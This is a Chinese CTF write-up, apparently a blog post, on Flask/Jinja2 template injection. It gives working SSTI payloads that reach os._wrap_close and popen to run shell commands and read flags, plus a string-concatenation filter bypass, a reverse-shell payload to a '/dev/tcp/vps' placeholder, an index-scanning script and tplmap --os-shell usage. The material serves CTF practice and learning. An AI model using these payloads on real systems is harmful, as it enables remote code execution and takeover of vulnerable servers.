SSTI Flask做题记录1

这个知识点是前几天从接触的,是因为创建HDCTF的比赛遇到的于是自己就来记录一下和学习一下

1. ezflask

hdctfezflask地址

这个题比较简单,直接一层一层的去找一找利用的类和函数就可以啦
记录一下自己的步骤:

1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[132]}}#这里我们利用的是<class 'os._wrap_close'>类
5.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}#利用popen函数执行命令
7.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}#最后获得flag

2. ezflask 2

hdctfezflask2地址
该题在ezflask的基础上做了一些过滤,前面寻找类和函数的方法还是一样

1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[132]}}#这里我们利用的是<class 'os._wrap_close'>类
5.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['po''pen']('ls').read()}}#利用popen函数执行命令,通过字符串拼接绕过。因为dict类型可以使用字符串拼接
7.{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['pop''en']('cat fla''g').read()}}#最后获得flag

该题主要是通过字符串拼接绕过
原理是dict类型可以使用字符串拼接

3.fake google

地址buu平台
做法还是一样,只是利用的类位置不同,下面我会分享自己获得需要类位置的方法

1.{{''.__class__}}   # 获得单引号的类型
2.{{''.__class__.__base__}} #获得object
3.{{''.__class__.__base__.__subclasses__()}}#获得基类
4.{{''.__class__.__base__.__subclasses__()[117]}}#这里我们利用的是os._wrap_close类
5.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}#将该类实例化并且全局搜索查找所有的方法、变量和参数
6.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['po''pen']('ls').read()}}#利用popen函数执行命令,通过字符串拼接绕过。因为dict类型可以使用字符串拼接
7.{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}#最后获得flag

也可以利用其它模块进行反弹shell

#利用该模块<class 'subprocess.Popen'>,位置是402
1.{{''.__class__.__base__.__subclasses__()[402]}}#获得该类
2.{{''.__class__.__base__.__subclasses__()[402]("bash -c "bash-i >&/dev/tcp/vps/端口 0>&1"",shell=True)}}#在自己的服务器上面nc -lvp 81开一个监听端口反弹shell

但是这里返回500,其它的题可以尝试

4. 如何获得我们想要subclasses下面的基类

方法一:利用脚本去跑或者bp跑一样的

#-*- coding:utf-8 -*-
#Firebasky
import requests as req
import time

url = "url?name="

for i in range(1,1000):
    time.sleep(0.08)
    payload = '{{"".__class__.__mro__[1].__subclasses__()['+str(i)+']}}'            
    print(payload)
    r = req.get(url+payload)
        
    if "os._wrap_close" in r.text:
        print(i)
        break
#{{"".__class__.__mro__[1].__subclasses__()[xxx]}}

方法二:复制下来利用python的for循环打印,然后放在notepad里面就可以看到每一行

5. 利用工具tplmap进行

安装:git clone https://github.com/epinna/tplmap
这里利用ezflask来演示
进入tplmap工具的目录.输入:python tplmap.py -u http://8.129.15.153:20022/?name=
然后就进入检测
在这里插入图片描述拿shell:python tplmap.py -u http://8.129.15.153:20022/?name= --engine jinja2 --os-shell
在这里插入图片描述
在这里插入图片描述
success

上面的思路比较简单,后面会陆陆续续的分享其它的方法和思路

参考:flask之ssti模版注入从零到入门

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值